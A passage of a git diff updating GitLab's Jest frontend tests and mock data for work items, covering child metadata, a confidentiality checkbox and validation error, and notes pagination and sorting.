@@ -30,7 +29,11 @@ describe('WorkItemLinkChildMetadata', () => {
createComponent();
});
- it('renders milestone link button', () => {
+ it('renders default slot contents', () => {
+ expect(wrapper.findByTestId('default-slot').text()).toBe('Foo');
+ });
+
+ it('renders item milestone', () => {
const milestoneLink = wrapper.findComponent(ItemMilestone);
expect(milestoneLink.exists()).toBe(true);
diff --git a/spec/frontend/work_items/components/work_item_links/work_item_link_child_spec.js b/spec/frontend/work_items/components/work_item_links/work_item_link_child_spec.js
index 73d498ad055..0470249d7ce 100644
--- a/spec/frontend/work_items/components/work_item_links/work_item_link_child_spec.js
+++ b/spec/frontend/work_items/components/work_item_links/work_item_link_child_spec.js
@@ -5,11 +5,12 @@ import createMockApollo from 'helpers/mock_apollo_helper';
import { shallowMountExtended } from 'helpers/vue_test_utils_helper';
import waitForPromises from 'helpers/wait_for_promises';
+import WorkItemLinkChildMetadata from 'ee_else_ce/work_items/components/work_item_links/work_item_link_child_metadata.vue';
+
import { createAlert } from '~/flash';
import RichTimestampTooltip from '~/vue_shared/components/rich_timestamp_tooltip.vue';
import getWorkItemTreeQuery from '~/work_items/graphql/work_item_tree.query.graphql';
-import WorkItemLinkChildMetadata from '~/work_items/components/work_item_links/work_item_link_child_metadata.vue';
import WorkItemLinkChild from '~/work_items/components/work_item_links/work_item_link_child.vue';
import WorkItemLinksMenu from '~/work_items/components/work_item_links/work_item_links_menu.vue';
import WorkItemTreeChildren from '~/work_items/components/work_item_links/work_item_tree_children.vue';
@@ -25,11 +26,9 @@ import {
workItemObjectiveNoMetadata,
confidentialWorkItemTask,
closedWorkItemTask,
- mockMilestone,
- mockAssignees,
- mockLabels,
workItemHierarchyTreeResponse,
workItemHierarchyTreeFailureResponse,
+ workItemObjectiveMetadataWidgets,
} from '../../mock_data';
jest.mock('~/flash');
@@ -148,10 +147,7 @@ describe('WorkItemLinkChild', () => {
const metadataEl = findMetadataComponent();
expect(metadataEl.exists()).toBe(true);
expect(metadataEl.props()).toMatchObject({
- allowsScopedLabels: true,
- milestone: mockMilestone,
- assignees: mockAssignees,
- labels: mockLabels,
+ metadataWidgets: workItemObjectiveMetadataWidgets,
});
});
@@ -265,5 +261,14 @@ describe('WorkItemLinkChild', () => {
message: 'Something went wrong while fetching children.',
});
});
+
+ it('click event on child emits `click` event', async () => {
+ findExpandButton().vm.$emit('click');
+ await waitForPromises();
+
+ findTreeChildren().vm.$emit('click', 'event');
+
+ expect(wrapper.emitted('click')).toEqual([['event']]);
+ });
});
});
diff --git a/spec/frontend/work_items/components/work_item_links/work_item_links_form_spec.js b/spec/frontend/work_items/components/work_item_links/work_item_links_form_spec.js
index bbe460a55ba..5e1c46826cc 100644
--- a/spec/frontend/work_items/components/work_item_links/work_item_links_form_spec.js
+++ b/spec/frontend/work_items/components/work_item_links/work_item_links_form_spec.js
@@ -1,11 +1,18 @@
import Vue from 'vue';
-import { GlForm, GlFormInput, GlTokenSelector } from '@gitlab/ui';
+import { GlForm, GlFormInput, GlFormCheckbox, GlTooltip, GlTokenSelector } from '@gitlab/ui';
import VueApollo from 'vue-apollo';
+import { sprintf, s__ } from '~/locale';
import { shallowMountExtended } from 'helpers/vue_test_utils_helper';
import createMockApollo from 'helpers/mock_apollo_helper';
import waitForPromises from 'helpers/wait_for_promises';
import WorkItemLinksForm from '~/work_items/components/work_item_links/work_item_links_form.vue';
-import { FORM_TYPES } from '~/work_items/constants';
+import {
+ FORM_TYPES,
+ WORK_ITEM_TYPE_ENUM_TASK,
+ WORK_ITEM_TYPE_VALUE_ISSUE,
+ I18N_WORK_ITEM_CONFIDENTIALITY_CHECKBOX_LABEL,
+ I18N_WORK_ITEM_CONFIDENTIALITY_CHECKBOX_TOOLTIP,
+} from '~/work_items/constants';
import projectWorkItemsQuery from '~/work_items/graphql/project_work_items.query.graphql';
import projectWorkItemTypesQuery from '~/work_items/graphql/project_work_item_types.query.graphql';
import createWorkItemMutation from '~/work_items/graphql/create_work_item.mutation.graphql';
@@ -36,6 +43,8 @@ describe('WorkItemLinksForm', () => {
workItemsMvcEnabled = false,
parentIteration = null,
formType = FORM_TYPES.create,
+ parentWorkItemType = WORK_ITEM_TYPE_VALUE_ISSUE,
+ childrenType = WORK_ITEM_TYPE_ENUM_TASK,
} = {}) => {
wrapper = shallowMountExtended(WorkItemLinksForm, {
apolloProvider: createMockApollo([
@@ -48,6 +57,8 @@ describe('WorkItemLinksForm', () => {
issuableGid: 'gid://gitlab/WorkItem/1',
parentConfidential,
parentIteration,
+ parentWorkItemType,
+ childrenType,
formType,
},
provide: {
@@ -65,6 +76,7 @@ describe('WorkItemLinksForm', () => {
const findForm = () => wrapper.findComponent(GlForm);
const findTokenSelector = () => wrapper.findComponent(GlTokenSelector);
const findInput = () => wrapper.findComponent(GlFormInput);
+ const findConfidentialCheckbox = () => wrapper.findComponent(GlFormCheckbox);
const findAddChildButton = () => wrapper.findByTestId('add-child-button');
afterEach(() => {
@@ -90,6 +102,7 @@ describe('WorkItemLinksForm', () => {
preventDefault: jest.fn(),
});
await waitForPromises();
+ expect(wrapper.vm.childWorkItemType).toEqual('gid://gitlab/WorkItems::Type/3');
expect(createMutationResolver).toHaveBeenCalledWith({
input: {
title: 'Create task test',
@@ -112,6 +125,7 @@ describe('WorkItemLinksForm', () => {
preventDefault: jest.fn(),
});
await waitForPromises();
+ expect(wrapper.vm.childWorkItemType).toEqual('gid://gitlab/WorkItems::Type/3');
expect(createMutationResolver).toHaveBeenCalledWith({
input: {
title: 'Create confidential task',
@@ -124,9 +138,50 @@ describe('WorkItemLinksForm', () => {
},
});
});
+
+ describe('confidentiality checkbox', () => {
+ it('renders confidentiality checkbox', () => {
+ const confidentialCheckbox = findConfidentialCheckbox();
+
+ expect(confidentialCheckbox.exists()).toBe(true);
+ expect(wrapper.findComponent(GlTooltip).exists()).toBe(false);
+ expect(confidentialCheckbox.text()).toBe(
+ sprintf(I18N_WORK_ITEM_CONFIDENTIALITY_CHECKBOX_LABEL, {
+ workItemType: WORK_ITEM_TYPE_ENUM_TASK.toLocaleLowerCase(),
+ }),
+ );
+ });
+
+ it('renders confidentiality tooltip with checkbox checked and disabled when parent is confidential', () => {
+ createComponent({ parentConfidential: true });
+
+ const confidentialCheckbox = findConfidentialCheckbox();
+ const confidentialTooltip = wrapper.findComponent(GlTooltip);
+
+ expect(confidentialCheckbox.attributes('disabled')).toBe('true');
+ expect(confidentialCheckbox.attributes('checked')).toBe('true');
+ expect(confidentialTooltip.exists()).toBe(true);
+ expect(confidentialTooltip.text()).toBe(
+ sprintf(I18N_WORK_ITEM_CONFIDENTIALITY_CHECKBOX_TOOLTIP, {
+ workItemType: WORK_ITEM_TYPE_ENUM_TASK.toLocaleLowerCase(),
+ parentWorkItemType: WORK_ITEM_TYPE_VALUE_ISSUE.toLocaleLowerCase(),
+ }),
+ );
+ });
+ });
});
describe('adding an existing work item', () => {
+ const selectAvailableWorkItemTokens = async () => {
+ findTokenSelector().vm.$emit(
+ 'input',
+ availableWorkItemsResponse.data.workspace.workItems.nodes,
+ );
+ findTokenSelector().vm.$emit('blur', new FocusEvent({ relatedTarget: null }));
+
+ await waitForPromises();
+ };
+
beforeEach(async () => {
await createComponent({ formType: FORM_TYPES.add });
});
@@ -136,6 +191,7 @@ describe('WorkItemLinksForm', () => {
expect(findTokenSelector().exists()).toBe(true);
expect(findAddChildButton().text()).toBe('Add task');
expect(findInput().exists()).toBe(false);
+ expect(findConfidentialCheckbox().exists()).toBe(false);
});
it('searches for available work items as prop when typing in input', async () => {
@@ -147,13 +203,7 @@ describe('WorkItemLinksForm', () => {
});
it('selects and adds children', async () => {
- findTokenSelector().vm.$emit(
- 'input',
- availableWorkItemsResponse.data.workspace.workItems.nodes,
- );
- findTokenSelector().vm.$emit('blur', new FocusEvent({ relatedTarget: null }));
-
- await waitForPromises();
+ await selectAvailableWorkItemTokens();
expect(findAddChildButton().text()).toBe('Add tasks');
findForm().vm.$emit('submit', {
@@ -162,6 +212,31 @@ describe('WorkItemLinksForm', () => {
await waitForPromises();
expect(updateMutationResolver).toHaveBeenCalled();
});
+
+ it('shows validation error when non-confidential child items are being added to confidential parent', async () => {
+ await createComponent({ formType: FORM_TYPES.add, parentConfidential: true });
+
+ await selectAvailableWorkItemTokens();
+
+ const validationEl = wrapper.findByTestId('work-items-invalid');
+ expect(validationEl.exists()).toBe(true);
+ expect(validationEl.text().trim()).toBe(
+ sprintf(
+ s__(
+ 'WorkItem|%{invalidWorkItemsList} cannot be added: Cannot assign a non-confidential %{childWorkItemType} to a confidential parent %{parentWorkItemType}. Make the selected %{childWorkItemType} confidential and try again.',
+ ),
+ {
+ // Only non-confidential work items are shown in the error message
+ invalidWorkItemsList: availableWorkItemsResponse.data.workspace.workItems.nodes
+ .filter((wi) => !wi.confidential)
+ .map((wi) => wi.title)
+ .join(', '),
+ childWorkItemType: 'Task',
+ parentWorkItemType: 'Issue',
+ },
+ ),
+ );
+ });
});
describe('associate iteration with task', () => {
diff --git a/spec/frontend/work_items/components/work_item_links/work_item_tree_spec.js b/spec/frontend/work_items/components/work_item_links/work_item_tree_spec.js
index 96211e12755..156f06a0d5e 100644
--- a/spec/frontend/work_items/components/work_item_links/work_item_tree_spec.js
+++ b/spec/frontend/work_items/components/work_item_links/work_item_tree_spec.js
@@ -34,6 +34,8 @@ describe('WorkItemTree', () => {
const createComponent = ({
workItemType = 'Objective',
+ parentWorkItemType = 'Objective',
+ confidential = false,
children = childrenWorkItems,
apolloProvider = null,
} = {}) => {
@@ -55,7 +57,9 @@ describe('WorkItemTree', () => {
apolloProvider || createMockApollo([[workItemQuery, getWorkItemQueryHandler]]),
propsData: {
workItemType,
+ parentWorkItemType,
workItemId: 'gid://gitlab/WorkItem/515',
+ confidential,
children,
projectPath: 'test/project',
},
@@ -90,7 +94,11 @@ describe('WorkItemTree', () => {
});
it('renders all hierarchy widget children', () => {
- expect(findWorkItemLinkChildItems()).toHaveLength(4);
+ const workItemLinkChildren = findWorkItemLinkChildItems();
+ expect(workItemLinkChildren).toHaveLength(4);
+ expect(workItemLinkChildren.at(0).props().childItem.confidential).toBe(
+ childrenWorkItems[0].confidential,
+ );
});
it('does not display form by default', () => {
@@ -110,8 +118,12 @@ describe('WorkItemTree', () => {
await nextTick();
expect(findForm().exists()).toBe(true);
- expect(findForm().props('formType')).toBe(formType);
- expect(findForm().props('childrenType')).toBe(childType);
+ expect(findForm().props()).toMatchObject({
+ formType,
+ childrenType: childType,
+ parentWorkItemType: 'Objective',
+ parentConfidential: false,
+ });
},
);
@@ -122,6 +134,17 @@ describe('WorkItemTree', () => {
expect(wrapper.emitted('removeChild')).toEqual([['gid://gitlab/WorkItem/2']]);
});
+ it('emits `show-modal` on `click` event', () => {
+ const firstChild = findWorkItemLinkChildItems().at(0);
+ const event = {
+ childItem: 'gid://gitlab/WorkItem/2',
+ };
+
+ firstChild.vm.$emit('click', event);
+
+ expect(wrapper.emitted('show-modal')).toEqual([[event, event.childItem]]);
+ });
+
it.each`
description | workItemType | prefetch
${'prefetches'} | ${'Issue'} | ${true}
diff --git a/spec/frontend/work_items/components/work_item_notes_spec.js b/spec/frontend/work_items/components/work_item_notes_spec.js
index ed68d214fc9..23dd2b6bacb 100644
--- a/spec/frontend/work_items/components/work_item_notes_spec.js
+++ b/spec/frontend/work_items/components/work_item_notes_spec.js
@@ -1,18 +1,22 @@
import { GlSkeletonLoader } from '@gitlab/ui';
import { shallowMount } from '@vue/test-utils';
-import Vue from 'vue';
+import Vue, { nextTick } from 'vue';
import VueApollo from 'vue-apollo';
import createMockApollo from 'helpers/mock_apollo_helper';
import waitForPromises from 'helpers/wait_for_promises';
import SystemNote from '~/work_items/components/notes/system_note.vue';
import WorkItemNotes from '~/work_items/components/work_item_notes.vue';
+import WorkItemCommentForm from '~/work_items/components/work_item_comment_form.vue';
+import ActivityFilter from '~/work_items/components/notes/activity_filter.vue';
import workItemNotesQuery from '~/work_items/graphql/work_item_notes.query.graphql';
import workItemNotesByIidQuery from '~/work_items/graphql/work_item_notes_by_iid.query.graphql';
-import { WIDGET_TYPE_NOTES } from '~/work_items/constants';
+import { DEFAULT_PAGE_SIZE_NOTES, WIDGET_TYPE_NOTES } from '~/work_items/constants';
+import { DESC } from '~/notes/constants';
import {
mockWorkItemNotesResponse,
workItemQueryResponse,
mockWorkItemNotesByIidResponse,
+ mockMoreWorkItemNotesResponse,
} from '../mock_data';
const mockWorkItemId = workItemQueryResponse.data.workItem.id;
@@ -24,6 +28,12 @@ const mockNotesByIidWidgetResponse = mockWorkItemNotesByIidResponse.data.workspa
(widget) => widget.type === WIDGET_TYPE_NOTES,
);
+const mockMoreNotesWidgetResponse = mockMoreWorkItemNotesResponse.data.workItem.widgets.find(
+ (widget) => widget.type === WIDGET_TYPE_NOTES,
+);
+
+const firstSystemNodeId = mockNotesWidgetResponse.discussions.nodes[0].notes.nodes[0].id;
+
describe('WorkItemNotes component', () => {
let wrapper;
@@ -31,16 +41,24 @@ describe('WorkItemNotes component', () => {
const findAllSystemNotes = () => wrapper.findAllComponents(SystemNote);
const findActivityLabel = () => wrapper.find('label');
+ const findWorkItemCommentForm = () => wrapper.findComponent(WorkItemCommentForm);
const findSkeletonLoader = () => wrapper.findComponent(GlSkeletonLoader);
+ const findSortingFilter = () => wrapper.findComponent(ActivityFilter);
+ const findSystemNoteAtIndex = (index) => findAllSystemNotes().at(index);
const workItemNotesQueryHandler = jest.fn().mockResolvedValue(mockWorkItemNotesResponse);
const workItemNotesByIidQueryHandler = jest
.fn()
.mockResolvedValue(mockWorkItemNotesByIidResponse);
+ const workItemMoreNotesQueryHandler = jest.fn().mockResolvedValue(mockMoreWorkItemNotesResponse);
- const createComponent = ({ workItemId = mockWorkItemId, fetchByIid = false } = {}) => {
+ const createComponent = ({
+ workItemId = mockWorkItemId,
+ fetchByIid = false,
+ defaultWorkItemNotesQueryHandler = workItemNotesQueryHandler,
+ } = {}) => {
wrapper = shallowMount(WorkItemNotes, {
apolloProvider: createMockApollo([
- [workItemNotesQuery, workItemNotesQueryHandler],
+ [workItemNotesQuery, defaultWorkItemNotesQueryHandler],
[workItemNotesByIidQuery, workItemNotesByIidQueryHandler],
]),
propsData: {
@@ -50,6 +68,7 @@ describe('WorkItemNotes component', () => {
},
fullPath: 'test-path',
fetchByIid,
+ workItemType: 'task',
},
provide: {
glFeatures: {
@@ -63,14 +82,17 @@ describe('WorkItemNotes component', () => {
createComponent();
});
- afterEach(() => {
- wrapper.destroy();
- });
-
it('renders activity label', () => {
expect(findActivityLabel().exists()).toBe(true);
});
+ it('passes correct props to comment form component', async () => {
+ createComponent({ workItemId: mockWorkItemId, fetchByIid: false });
+ await waitForPromises();
+
+ expect(findWorkItemCommentForm().props('fetchByIid')).toEqual(false);
+ });
+
describe('when notes are loading', () => {
it('renders skeleton loader', () => {
expect(findSkeletonLoader().exists()).toBe(true);
@@ -98,10 +120,65 @@ describe('WorkItemNotes component', () => {
await waitForPromises();
});
- it('shows the notes list', () => {
+ it('renders the notes list to the length of the response', () => {
expect(findAllSystemNotes()).toHaveLength(
mockNotesByIidWidgetResponse.discussions.nodes.length,
);
});
+
+ it('passes correct props to comment form component', () => {
+ expect(findWorkItemCommentForm().props('fetchByIid')).toEqual(true);
+ });
+ });
+
+ describe('Pagination', () => {
+ describe('When there is no next page', () => {
+ it('fetch more notes is not called', async () => {
+ createComponent();
+ await nextTick();
+ expect(workItemMoreNotesQueryHandler).not.toHaveBeenCalled();
+ });
+ });
+
+ describe('when there is next page', () => {
+ beforeEach(async () => {
+ createComponent({ defaultWorkItemNotesQueryHandler: workItemMoreNotesQueryHandler });
+ await waitForPromises();
+ });
+
+ it('fetch more notes should be called', async () => {
+ expect(workItemMoreNotesQueryHandler).toHaveBeenCalledWith({
+ pageSize: DEFAULT_PAGE_SIZE_NOTES,
+ id: 'gid://gitlab/WorkItem/1',
+ });
+
+ await nextTick();
+
+ expect(workItemMoreNotesQueryHandler).toHaveBeenCalledWith({
+ pageSize: 45,
+ id: 'gid://gitlab/WorkItem/1',
+ after: mockMoreNotesWidgetResponse.discussions.pageInfo.endCursor,
+ });
+ });
+ });
+ });
+
+ describe('Sorting', () => {
+ beforeEach(async () => {
+ createComponent();
+ await waitForPromises();
+ });
+
+ it('filter exists', () => {
+ expect(findSortingFilter().exists()).toBe(true);
+ });
+
+ it('sorts the list when the `changeSortOrder` event is emitted', async () => {
+ expect(findSystemNoteAtIndex(0).props('note').id).toEqual(firstSystemNodeId);
+
+ await findSortingFilter().vm.$emit('changeSortOrder', DESC);
+
+ expect(findSystemNoteAtIndex(0).props('note').id).not.toEqual(firstSystemNodeId);
+ });
});
});
diff --git a/spec/frontend/work_items/mock_data.js b/spec/frontend/work_items/mock_data.js
index 850672b68d0..67b477b6eb0 100644
--- a/spec/frontend/work_items/mock_data.js
+++ b/spec/frontend/work_items/mock_data.js
@@ -62,6 +62,7 @@ export const workItemQueryResponse = {
__typename: 'Project',
id: '1',
fullPath: 'test-project-path',
+ archived: false,
},
workItemType: {
__typename: 'WorkItemType',
@@ -156,6 +157,7 @@ export const updateWorkItemMutationResponse = {
__typename: 'Project',
id: '1',
fullPath: 'test-project-path',
+ archived: false,
},
workItemType: {
__typename: 'WorkItemType',
@@ -268,6 +270,7 @@ export const workItemResponseFactory = ({
milestoneWidgetPresent = true,
iterationWidgetPresent = true,
healthStatusWidgetPresent = true,
+ notesWidgetPresent = true,
confidential = false,
canInviteMembers = false,
allowsScopedLabels = false,
@@ -292,6 +295,7 @@ export const workItemResponseFactory = ({
__typename: 'Project',
id: '1',
fullPath: 'test-project-path',
+ archived: false,
},
workItemType,
userPermissions: {
@@ -380,6 +384,23 @@ export const workItemResponseFactory = ({
healthStatus: 'onTrack',
}
: { type: 'MOCK TYPE' },
+ notesWidgetPresent
+ ? {
+ __typename: 'WorkItemWidgetNotes',
+ type: 'NOTES',
+ discussions: {
+ pageInfo: {
+ hasNextPage: true,
+ hasPreviousPage: false,
+ startCursor: null,
+ endCursor:
+ 'eyJjcmVhdGVkX2F0IjoiMjAyMi0xMS0xNCAwNDoxOTowMC4wOTkxMTcwMDAgKzAwMDAiLCJpZCI6IjQyNyIsIl9rZCI6Im4ifQ==',
+ __typename: 'PageInfo',
+ },
+ nodes: [],
+ },
+ }
+ : { type: 'MOCK TYPE' },
{
__typename: 'WorkItemWidgetHierarchy',
type: 'HIERARCHY',
@@ -409,6 +430,12 @@ export const workItemResponseFactory = ({
},
parent,
},
+ notesWidgetPresent
+ ? {
+ __typename: 'WorkItemWidgetNotes',
+ type: 'NOTES',
+ }
+ : { type: 'MOCK TYPE' },
],
},
},
@@ -448,6 +475,7 @@ export const createWorkItemMutationResponse = {
__typename: 'Project',
id: '1',
fullPath: 'test-project-path',
+ archived: false,
},
workItemType: {
__typename: 'WorkItemType',
@@ -485,6 +513,7 @@ export const createWorkItemFromTaskMutationResponse = {
__typename: 'Project',
id: '1',
fullPath: 'test-project-path',
+ archived: false,
},
workItemType: {
__typename: 'WorkItemType',
@@ -524,6 +553,7 @@ export const createWorkItemFromTaskMutationResponse = {
__typename: 'Project',
id: '1',
fullPath: 'test-project-path',
+ archived: false,
},
workItemType: {
__typename: 'WorkItemType',
@@ -698,6 +728,20 @@ export const workItemIterationSubscriptionResponse = {
},
};
+export const workItemHealthStatusSubscriptionResponse = {
+ data: {
+ issuableHealthStatusUpdated: {
+ id: 'gid://gitlab/WorkItem/1',
+ widgets: [
+ {
+ __typename: 'WorkItemWidgetHealthStatus',
+ healthStatus: 'needsAttention',
+ },
+ ],
+ },
+ },
+};
+
export const workItemMilestoneSubscriptionResponse = {
data: {
issuableMilestoneUpdated: {
@@ -734,6 +778,7 @@ export const workItemHierarchyEmptyResponse = {
__typename: 'Project',
id: '1',
fullPath: 'test-project-path',
+ archived: false,
},
userPermissions: {
deleteWorkItem: false,
@@ -780,6 +825,7 @@ export const workItemHierarchyNoUpdatePermissionResponse = {
__typename: 'Project',
id: '1',
fullPath: 'test-project-path',
+ archived: false,
},
confidential: false,
widgets: [
@@ -920,6 +966,7 @@ export const workItemHierarchyResponse = {
__typename: 'Project',
id: '1',
fullPath: 'test-project-path',
+ archived: false,
},
widgets: [
{
@@ -942,6 +989,43 @@ export const workItemHierarchyResponse = {
},
};
+export const workItemObjectiveMetadataWidgets = {
+ ASSIGNEES: {
+ type: 'ASSIGNEES',
+ __typename: 'WorkItemWidgetAssignees',
+ canInviteMembers: true,
+ allowsMultipleAssignees: true,
+ assignees: {
+ __typename: 'UserCoreConnection',
+ nodes: mockAssignees,
+ },
+ },
+ HEALTH_STATUS: {
+ type: 'HEALTH_STATUS',
+ __typename: 'WorkItemWidgetHealthStatus',
+ healthStatus: 'onTrack',
+ },
+ LABELS: {
+ type: 'LABELS',
+ __typename: 'WorkItemWidgetLabels',
+ allowsScopedLabels: true,
+ labels: {
+ __typename: 'LabelConnection',
+ nodes: mockLabels,
+ },
+ },
+ MILESTONE: {
+ type: 'MILESTONE',
+ __typename: 'WorkItemWidgetMilestone',
+ milestone: mockMilestone,
+ },
+ PROGRESS: {
+ type: 'PROGRESS',
+ __typename: 'WorkItemWidgetProgress',
+ progress: 10,
+ },
+};
+
export const workItemObjectiveWithChild = {
id: 'gid://gitlab/WorkItem/12',
iid: '12',
@@ -955,6 +1039,7 @@ export const workItemObjectiveWithChild = {
__typename: 'Project',
id: '1',
fullPath: 'test-project-path',
+ archived: false,
},
userPermissions: {
deleteWorkItem: true,
@@ -976,30 +1061,11 @@ export const workItemObjectiveWithChild = {
},
__typename: 'WorkItemWidgetHierarchy',
},
- {
- type: 'MILESTONE',
- __typename: 'WorkItemWidgetMilestone',
- milestone: mockMilestone,
- },
- {
- type: 'ASSIGNEES',
- __typename: 'WorkItemWidgetAssignees',
- canInviteMembers: true,
- allowsMultipleAssignees: true,
- assignees: {
- __typename: 'UserCoreConnection',
- nodes: mockAssignees,
- },
- },
- {
- type: 'LABELS',
- __typename: 'WorkItemWidgetLabels',
- allowsScopedLabels: true,
- labels: {
- __typename: 'LabelConnection',
- nodes: mockLabels,
- },
- },
+ workItemObjectiveMetadataWidgets.PROGRESS,
+ workItemObjectiveMetadataWidgets.HEALTH_STATUS,
+ workItemObjectiveMetadataWidgets.MILESTONE,
+ workItemObjectiveMetadataWidgets.ASSIGNEES,
+ workItemObjectiveMetadataWidgets.LABELS,
],
__typename: 'WorkItem',
};
@@ -1012,6 +1078,16 @@ export const workItemObjectiveNoMetadata = {
hasChildren: true,
__typename: 'WorkItemWidgetHierarchy',
},
+ {
+ __typename: 'WorkItemWidgetProgress',
+ type: 'PROGRESS',
+ progress: null,
+ },
+ {
+ __typename: 'WorkItemWidgetMilestone',
+ type: 'MILESTONE',
+ milestone: null,
+ },
],
};
@@ -1036,6 +1112,7 @@ export const workItemHierarchyTreeResponse = {
__typename: 'Project',
id: '1',
fullPath: 'test-project-path',
+ archived: false,
},
widgets: [
{
@@ -1118,6 +1195,7 @@ export const changeWorkItemParentMutationResponse = {
__typename: 'Project',
id: '1',
fullPath: 'test-project-path',
+ archived: false,
},
widgets: [
{
@@ -1149,6 +1227,7 @@ export const availableWorkItemsResponse = {
title: 'Task 1',
state: 'OPEN',
createdAt: '2022-08-03T12:41:54Z',
+ confidential: false,
__typename: 'WorkItem',
},
{
@@ -1156,6 +1235,15 @@ export const availableWorkItemsResponse = {
title: 'Task 2',
state: 'OPEN',
createdAt: '2022-08-03T12:41:54Z',
+ confidential: false,
+ __typename: 'WorkItem',
+ },
+ {
+ id: 'gid://gitlab/WorkItem/460',
+ title: 'Task 3',
+ state: 'OPEN',
+ createdAt: '2022-08-03T12:41:54Z',
+ confidential: true,
__typename: 'WorkItem',
},
],
@@ -1514,11 +1602,16 @@ export const mockWorkItemNotesResponse = {
nodes: [
{
id: 'gid://gitlab/Note/2428',
- body: 'added #31 as parent issue',
bodyHtml:
'<p data-sourcepos="1:1-1:25" dir="auto">added <a href="/flightjs/Flight/-/issues/31" data-reference-type="issue" data-original="#31" data-link="false" data-link-reference="false" data-project="6" data-issue="224" data-project-path="flightjs/Flight" data-iid="31" data-issue-type="issue" data-container=body data-placement="top" title="Perferendis est quae totam quia laborum tempore ut voluptatem." class="gfm gfm-issue">#31</a> as parent issue</p>',
systemNoteIconName: 'link',
createdAt: '2022-11-14T04:18:59Z',
+ system: true,
+ internal: false,
+ userPermissions: {
+ adminNote: false,
+ __typename: 'NotePermissions',
+ },
author: {
avatarUrl:
'https://www.gravatar.com/avatar/e64c7d89f26bd1972efa854d13d7dd61?s=80&d=identicon',
@@ -1541,12 +1634,17 @@ export const mockWorkItemNotesResponse = {
notes: {
nodes: [
{
- id: 'gid://gitlab/MilestoneNote/not-persisted',
- body: 'changed milestone to %5',
+ id: 'gid://gitlab/MilestoneNote/0f2f195ec0d1ef95ee9d5b10446b8e96a7d83864',
bodyHtml:
'<p data-sourcepos="1:1-1:23" dir="auto">changed milestone to <a href="/flightjs/Flight/-/milestones/5" data-reference-type="milestone" data-original="%5" data-link="false" data-link-reference="false" data-project="6" data-milestone="30" data-container=body data-placement="top" title="" class="gfm gfm-milestone has-tooltip">%v4.0</a></p>',
systemNoteIconName: 'clock',
createdAt: '2022-11-14T04:18:59Z',
+ system: true,
+ internal: false,
+ userPermissions: {
+ adminNote: false,
+ __typename: 'NotePermissions',
+ },
author: {
avatarUrl:
'https://www.gravatar.com/avatar/e64c7d89f26bd1972efa854d13d7dd61?s=80&d=identicon',
@@ -1569,11 +1667,16 @@ export const mockWorkItemNotesResponse = {
notes: {
nodes: [
{
- id: 'gid://gitlab/WeightNote/not-persisted',
- body: 'changed weight to 89',
+ id: 'gid://gitlab/WeightNote/0f2f195ec0d1ef95ee9d5b10446b8e96a9883864',
bodyHtml: '<p dir="auto">changed weight to <strong>89</strong></p>',
systemNoteIconName: 'weight',
createdAt: '2022-11-25T07:16:20Z',
+ system: true,
+ internal: false,
+ userPermissions: {
+ adminNote: false,
+ __typename: 'NotePermissions',
+ },
author: {
avatarUrl:
'https://www.gravatar.com/avatar/e64c7d89f26bd1972efa854d13d7dd61?s=80&d=identicon',
@@ -1656,11 +1759,16 @@ export const mockWorkItemNotesByIidResponse = {
nodes: [
{
id: 'gid://gitlab/Note/2428',
- body: 'added #31 as parent issue',
bodyHtml:
'\u003cp data-sourcepos="1:1-1:25" dir="auto"\u003eadded \u003ca href="/flightjs/Flight/-/issues/31" data-reference-type="issue" data-original="#31" data-link="false" data-link-reference="false" data-project="6" data-issue="224" data-project-path="flightjs/Flight" data-iid="31" data-issue-type="issue" data-container="body" data-placement="top" title="Perferendis est quae totam quia laborum tempore ut voluptatem." class="gfm gfm-issue"\u003e#31\u003c/a\u003e as parent issue\u003c/p\u003e',
systemNoteIconName: 'link',
createdAt: '2022-11-14T04:18:59Z',
+ system: true,
+ internal: false,
+ userPermissions: {
+ adminNote: false,
+ __typename: 'NotePermissions',
+ },
author: {
id: 'gid://gitlab/User/1',
avatarUrl:
@@ -1685,11 +1793,16 @@ export const mockWorkItemNotesByIidResponse = {
{
id:
'gid://gitlab/MilestoneNote/7b08b89a728a5ceb7de8334246837ba1d07270dc',
- body: 'changed milestone to %5',
bodyHtml:
'\u003cp data-sourcepos="1:1-1:23" dir="auto"\u003echanged milestone to \u003ca href="/flightjs/Flight/-/milestones/5" data-reference-type="milestone" data-original="%5" data-link="false" data-link-reference="false" data-project="6" data-milestone="30" data-container="body" data-placement="top" title="" class="gfm gfm-milestone has-tooltip"\u003e%v4.0\u003c/a\u003e\u003c/p\u003e',
systemNoteIconName: 'clock',
createdAt: '2022-11-14T04:18:59Z',
+ system: true,
+ internal: false,
+ userPermissions: {
+ adminNote: false,
+ __typename: 'NotePermissions',
+ },
author: {
id: 'gid://gitlab/User/1',
avatarUrl:
@@ -1714,11 +1827,16 @@ export const mockWorkItemNotesByIidResponse = {
{
id:
'gid://gitlab/IterationNote/addbc177f7664699a135130ab05ffb78c57e4db3',
- body: 'changed iteration to *iteration:5352',
bodyHtml:
'\u003cp data-sourcepos="1:1-1:36" dir="auto"\u003echanged iteration to \u003ca href="/groups/flightjs/-/iterations/5352" data-reference-type="iteration" data-original="*iteration:5352" data-link="false" data-link-reference="false" data-project="6" data-iteration="5352" data-container="body" data-placement="top" title="Iteration" class="gfm gfm-iteration has-tooltip"\u003eEt autem debitis nam suscipit eos ut. Jul 13, 2022 - Jul 19, 2022\u003c/a\u003e\u003c/p\u003e',
systemNoteIconName: 'iteration',
createdAt: '2022-11-14T04:19:00Z',
+ system: true,
+ internal: false,
+ userPermissions: {
+ adminNote: false,
+ __typename: 'NotePermissions',
+ },
author: {
id: 'gid://gitlab/User/1',
avatarUrl:
@@ -1750,3 +1868,183 @@ export const mockWorkItemNotesByIidResponse = {
},
},
};
+export const mockMoreWorkItemNotesResponse = {
+ data: {
+ workItem: {
+ id: 'gid://gitlab/WorkItem/600',
+ iid: '60',
+ widgets: [
+ {
+ __typename: 'WorkItemWidgetIteration',
+ },
+ {
+ __typename: 'WorkItemWidgetWeight',
+ },
+ {
+ __typename: 'WorkItemWidgetAssignees',
+ },
+ {
+ __typename: 'WorkItemWidgetLabels',
+ },
+ {
+ __typename: 'WorkItemWidgetDescription',
+ },
+ {
+ __typename: 'WorkItemWidgetHierarchy',
+ },
+ {
+ __typename: 'WorkItemWidgetStartAndDueDate',
+ },
+ {
+ __typename: 'WorkItemWidgetMilestone',
+ },
+ {
+ type: 'NOTES',
+ discussions: {
+ pageInfo: {
+ hasNextPage: true,
+ hasPreviousPage: false,
+ startCursor: null,
+ endCursor: 'endCursor',
+ __typename: 'PageInfo',
+ },
+ nodes: [
+ {
+ id:
